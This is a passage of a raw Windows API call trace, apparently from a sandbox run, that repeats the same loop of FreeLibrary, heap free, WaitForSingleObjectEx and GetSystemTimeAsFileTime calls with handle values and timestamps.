(hLibModule=0x7ffa786c0000) returned 1 [0198.820] free (_Block=0x196ef0d67b0) [0198.820] free (_Block=0x196ef0fb4a0) [0198.821] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0198.998] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5777965a, dwHighDateTime=0x1d9eb0c)) [0198.999] free (_Block=0x196ef0d2060) [0198.999] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0199.000] free (_Block=0x196ef0d67b0) [0199.000] free (_Block=0x196ef0fbbd0) [0199.000] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0199.008] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5779fa1c, dwHighDateTime=0x1d9eb0c)) [0199.008] free (_Block=0x196ef0d1960) [0199.009] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0199.009] free (_Block=0x196ef0d67b0) [0199.009] free (_Block=0x196ef0fb770) [0199.009] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0199.022] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5779fa1c, dwHighDateTime=0x1d9eb0c)) [0199.023] free (_Block=0x196ef0d1e60) [0199.023] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0199.023] free (_Block=0x196ef0d67b0) [0199.024] free (_Block=0x196ef0fbc20) [0199.024] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0199.028] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x577c59e5, dwHighDateTime=0x1d9eb0c)) [0199.028] free (_Block=0x196ef0d20a0) [0199.029] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0199.029] free (_Block=0x196ef0d67b0) [0199.029] free (_Block=0x196ef0fb860) [0199.030] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0199.034] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x577c59e5, dwHighDateTime=0x1d9eb0c)) [0199.034] free (_Block=0x196ef0d1e00) [0199.034] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0199.035] free (_Block=0x196ef0d67b0) [0199.035] free (_Block=0x196ef0fbfe0) [0199.035] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0199.247] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x579dbab8, dwHighDateTime=0x1d9eb0c)) [0199.247] free (_Block=0x196ef0d1f00) [0199.247] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0199.248] free (_Block=0x196ef0d67b0) [0199.248] free (_Block=0x196ef0fbb30) [0199.249] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0199.257] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x57a01d68, dwHighDateTime=0x1d9eb0c)) [0199.258] free (_Block=0x196ef0d19e0) [0199.258] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0199.258] free (_Block=0x196ef0d67b0) [0199.259] free (_Block=0x196ef0fb9a0) [0199.259] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0199.263] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x57a01d68, dwHighDateTime=0x1d9eb0c)) [0199.263] free (_Block=0x196ef0d1f00) [0199.263] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0199.264] free (_Block=0x196ef0d67b0) [0199.264] free (_Block=0x196ef0fba40) [0199.265] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0199.270] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x57a01d68, dwHighDateTime=0x1d9eb0c)) [0199.270] free (_Block=0x196ef0d1ba0) [0199.271] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0199.271] free (_Block=0x196ef0d67b0) [0199.271] free (_Block=0x196ef0fb900) [0199.272] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0199.284] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x57a28361, dwHighDateTime=0x1d9eb0c)) [0199.284] free (_Block=0x196ef0d1fa0) [0199.284] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0199.285] free (_Block=0x196ef0d67b0) [0199.285] free (_Block=0x196ef0fb720) [0199.285] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0199.291] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x57a4e4d1, dwHighDateTime=0x1d9eb0c)) [0199.292] free (_Block=0x196ef0d20a0) [0199.292] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0199.292] free (_Block=0x196ef0d67b0) [0199.293] free (_Block=0x196ef0fb310) [0199.293] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0199.563] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x57cd6a26, dwHighDateTime=0x1d9eb0c)) [0199.564] free (_Block=0x196ef0d1be0) [0199.564] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0199.564] free (_Block=0x196ef0d67b0) [0199.565] free (_Block=0x196ef0fb8b0) [0199.565] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0199.573] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x57cfced8, dwHighDateTime=0x1d9eb0c)) [0199.574] free (_Block=0x196ef0d20a0) [0199.574] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0199.574] free (_Block=0x196ef0d67b0) [0199.575] free (_Block=0x196ef0fbea0) [0199.575] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0199.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x57d22e29, dwHighDateTime=0x1d9eb0c)) [0199.587] free (_Block=0x196ef0d1f20) [0199.587] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0199.587] free (_Block=0x196ef0d67b0) [0199.588] free (_Block=0x196ef0fb900) [0199.589] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0199.838] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x57f8554e, dwHighDateTime=0x1d9eb0c)) [0199.839] free (_Block=0x196ef0d1f60) [0199.839] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0199.840] free (_Block=0x196ef0d67b0) [0199.841] free (_Block=0x196ef0fb270) [0199.841] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0199.849] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x57f8554e, dwHighDateTime=0x1d9eb0c)) [0199.849] free (_Block=0x196ef0d1c80) [0199.849] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0199.850] free (_Block=0x196ef0d67b0) [0199.850] free (_Block=0x196ef0fc030) [0199.850] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0199.856] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x57fab821, dwHighDateTime=0x1d9eb0c)) [0199.856] free (_Block=0x196ef0d1a80) [0199.856] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0199.857] free (_Block=0x196ef0d67b0) [0199.857] free (_Block=0x196ef0fc170) [0199.857] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0199.872] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x57fd1b4c, dwHighDateTime=0x1d9eb0c)) [0199.872] free (_Block=0x196ef0d1e60) [0199.872] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0199.873] free (_Block=0x196ef0d67b0) [0199.873] free (_Block=0x196ef0fbfe0) [0199.874] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0200.043] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x58175373, dwHighDateTime=0x1d9eb0c)) [0200.043] free (_Block=0x196ef0d1e80) [0200.044] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0200.044] free (_Block=0x196ef0d67b0) [0200.045] free (_Block=0x196ef0fbc20) [0200.045] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0200.052] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x58175373, dwHighDateTime=0x1d9eb0c)) [0200.053] free (_Block=0x196ef0d1980) [0200.053] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0200.053] free (_Block=0x196ef0d67b0) [0200.054] free (_Block=0x196ef0fb680) [0200.054] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0200.059] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5819b608, dwHighDateTime=0x1d9eb0c)) [0200.060] free (_Block=0x196ef0d1ea0) [0200.060] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0200.060] free (_Block=0x196ef0d67b0) [0200.061] free (_Block=0x196ef0fbc70) [0200.061] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0200.068] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5819b608, dwHighDateTime=0x1d9eb0c)) [0200.068] free (_Block=0x196ef0d1f00) [0200.068] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0200.068] free (_Block=0x196ef0d67b0) [0200.069] free (_Block=0x196ef0fb950) [0200.069] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0200.075] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x581c1938, dwHighDateTime=0x1d9eb0c)) [0200.076] free (_Block=0x196ef0d1d40) [0200.076] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0200.076] free (_Block=0x196ef0d67b0) [0200.077] free (_Block=0x196ef0fb630) [0200.077] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0200.238] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5833ef49, dwHighDateTime=0x1d9eb0c)) [0200.239] free (_Block=0x196ef0d1e80) [0200.239] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0200.240] free (_Block=0x196ef0d67b0) [0200.240] free (_Block=0x196ef0fb270) [0200.240] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0200.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5836522d, dwHighDateTime=0x1d9eb0c)) [0200.255] free (_Block=0x196ef0d1e60) [0200.255] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0200.255] free (_Block=0x196ef0d67b0) [0200.256] free (_Block=0x196ef0fbc20) [0200.256] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0200.262] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5838b4cf, dwHighDateTime=0x1d9eb0c)) [0200.262] free (_Block=0x196ef0d1ec0) [0200.262] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0200.263] free (_Block=0x196ef0d67b0) [0200.263] free (_Block=0x196ef0fc120) [0200.263] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0200.269] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5838b4cf, dwHighDateTime=0x1d9eb0c)) [0200.269] free (_Block=0x196ef0d1ec0) [0200.269] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0200.270] free (_Block=0x196ef0d67b0) [0200.270] free (_Block=0x196ef0fb9a0) [0200.270] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0200.286] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x583b1b9f, dwHighDateTime=0x1d9eb0c)) [0200.287] free (_Block=0x196ef0d1a40) [0200.287] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0200.287] free (_Block=0x196ef0d67b0) [0200.288] free (_Block=0x196ef0fbae0) [0200.288] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0200.468] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5857b3b0, dwHighDateTime=0x1d9eb0c)) [0200.469] free (_Block=0x196ef0d1e60) [0200.469] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0200.469] free (_Block=0x196ef0d67b0) [0200.470] free (_Block=0x196ef0fbb30) [0200.470] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0200.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x585a1574, dwHighDateTime=0x1d9eb0c)) [0200.476] free (_Block=0x196ef0d19e0) [0200.476] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0200.477] free (_Block=0x196ef0d67b0) [0200.477] free (_Block=0x196ef0fc120) [0200.477] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0200.487] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x585a1574, dwHighDateTime=0x1d9eb0c)) [0200.488] free (_Block=0x196ef0d1b60) [0200.488] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0200.489] free (_Block=0x196ef0d67b0) [0200.489] free (_Block=0x196ef0fbc20) [0200.489] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0200.496] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x585c7954, dwHighDateTime=0x1d9eb0c)) [0200.496] free (_Block=0x196ef0d1c40) [0200.496] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0200.497] free (_Block=0x196ef0d67b0) [0200.498] free (_Block=0x196ef0fb6d0) [0200.498] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0200.504] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x585c7954, dwHighDateTime=0x1d9eb0c)) [0200.505] free (_Block=0x196ef0d1d20) [0200.505] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0200.506] free (_Block=0x196ef0d67b0) [0200.507] free (_Block=0x196ef0fba40) [0200.507] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0200.902] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x589a7eb5, dwHighDateTime=0x1d9eb0c)) [0200.902] free (_Block=0x196ef0d1f20) [0200.902] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0200.904] free (_Block=0x196ef0d67b0) [0200.905] free (_Block=0x196ef0fb8b0) [0200.905] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0200.916] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x589cd654, dwHighDateTime=0x1d9eb0c)) [0200.916] free (_Block=0x196ef0d1ba0) [0200.916] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0200.918] free (_Block=0x196ef0d67b0) [0200.918] free (_Block=0x196ef0fbd60) [0200.919] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0200.934] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x589fff0f, dwHighDateTime=0x1d9eb0c)) [0200.935] free (_Block=0x196ef0d1f60) [0200.935] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0200.936] free (_Block=0x196ef0d67b0) [0200.940] free (_Block=0x196ef0fb810) [0200.940] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0200.947] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x58a1e39e, dwHighDateTime=0x1d9eb0c)) [0200.947] free (_Block=0x196ef0d19a0) [0200.947] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0200.948] free (_Block=0x196ef0d67b0) [0200.951] free (_Block=0x196ef0fb4a0) [0200.951] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0201.163] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x58c15a6d, dwHighDateTime=0x1d9eb0c)) [0201.163] free (_Block=0x196ef0d1de0) [0201.164] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0201.164] free (_Block=0x196ef0d67b0) [0201.165] free (_Block=0x196ef0fb720) [0201.165] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0201.173] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x58c3c899, dwHighDateTime=0x1d9eb0c)) [0201.173] free (_Block=0x196ef0d20e0) [0201.174] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0201.174] free (_Block=0x196ef0d67b0) [0201.174] free (_Block=0x196ef0fc120) [0201.175] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0201.187] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x58c61e52, dwHighDateTime=0x1d9eb0c)) [0201.188] free (_Block=0x196ef0d1de0) [0201.188] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0201.188] free (_Block=0x196ef0d67b0) [0201.188] free (_Block=0x196ef0fc030) [0201.189] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0201.194] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x58c61e52, dwHighDateTime=0x1d9eb0c)) [0201.195] free (_Block=0x196ef0d1a80) [0201.195] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0201.195] free (_Block=0x196ef0d67b0) [0201.195] free (_Block=0x196ef0fc170) [0201.196] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0201.390] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x58e5250e, dwHighDateTime=0x1d9eb0c)) [0201.391] free (_Block=0x196ef0d1fc0) [0201.391] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0201.392] free (_Block=0x196ef0d67b0) [0201.392] free (_Block=0x196ef0fc120) [0201.392] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0201.397] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x58e5250e, dwHighDateTime=0x1d9eb0c)) [0201.398] free (_Block=0x196ef0d1e60) [0201.398] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0201.398] free (_Block=0x196ef0d67b0) [0201.398] free (_Block=0x196ef0fc0d0) [0201.399] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0201.407] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x58e7814d, dwHighDateTime=0x1d9eb0c)) [0201.407] free (_Block=0x196ef0d1ba0) [0201.407] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0201.407] free (_Block=0x196ef0d67b0) [0201.408] free (_Block=0x196ef0fb220) [0201.408] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0201.414] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x58e7814d, dwHighDateTime=0x1d9eb0c)) [0201.414] free (_Block=0x196ef0d1e60) [0201.414] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0201.415] free (_Block=0x196ef0d67b0) [0201.415] free (_Block=0x196ef0fba40) [0201.416] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0201.638] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x590b4323, dwHighDateTime=0x1d9eb0c)) [0201.639] free (_Block=0x196ef0d1f60) [0201.639] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0201.640] free (_Block=0x196ef0d67b0) [0201.641] free (_Block=0x196ef0fb4f0) [0201.641] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0201.727] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0201.728] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0201.957] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x593af2b7, dwHighDateTime=0x1d9eb0c)) [0201.957] free (_Block=0x196ef0d2020) [0201.957] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0201.958] free (_Block=0x196ef0d67b0) [0201.958] free (_Block=0x196ef0fb6d0) [0201.959] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0201.964] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x593af2b7, dwHighDateTime=0x1d9eb0c)) [0201.964] free (_Block=0x196ef0d1fe0) [0201.964] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0201.965] free (_Block=0x196ef0d67b0) [0201.966] free (_Block=0x196ef0fb720) [0201.966] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0201.971] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x593d565c, dwHighDateTime=0x1d9eb0c)) [0201.971] free (_Block=0x196ef0d1e00) [0201.971] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0201.972] free (_Block=0x196ef0d67b0) [0201.972] free (_Block=0x196ef0fba40) [0201.972] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0201.982] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x593fb71e, dwHighDateTime=0x1d9eb0c)) [0201.983] free (_Block=0x196ef0d1da0) [0201.983] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0201.983] free (_Block=0x196ef0d67b0) [0201.984] free (_Block=0x196ef0fb310) [0201.984] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0201.989] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x593fb71e, dwHighDateTime=0x1d9eb0c)) [0201.989] free (_Block=0x196ef0d1d20) [0201.989] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0201.990] free (_Block=0x196ef0d67b0) [0201.990] free (_Block=0x196ef0fb3b0) [0201.991] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0201.997] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x59421a03, dwHighDateTime=0x1d9eb0c)) [0201.997] free (_Block=0x196ef0d1a60) [0201.997] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0201.998] free (_Block=0x196ef0d67b0) [0201.998] free (_Block=0x196ef0fbe00) [0201.998] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0202.169] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x595c53c8, dwHighDateTime=0x1d9eb0c)) [0202.170] free (_Block=0x196ef0d20c0) [0202.170] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0202.170] free (_Block=0x196ef0d67b0) [0202.171] free (_Block=0x196ef0fbef0) [0202.171] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0202.180] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x595c53c8, dwHighDateTime=0x1d9eb0c)) [0202.180] free (_Block=0x196ef0d1c80) [0202.180] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0202.181] free (_Block=0x196ef0d67b0) [0202.182] free (_Block=0x196ef0fb720) [0202.182] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0202.191] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: 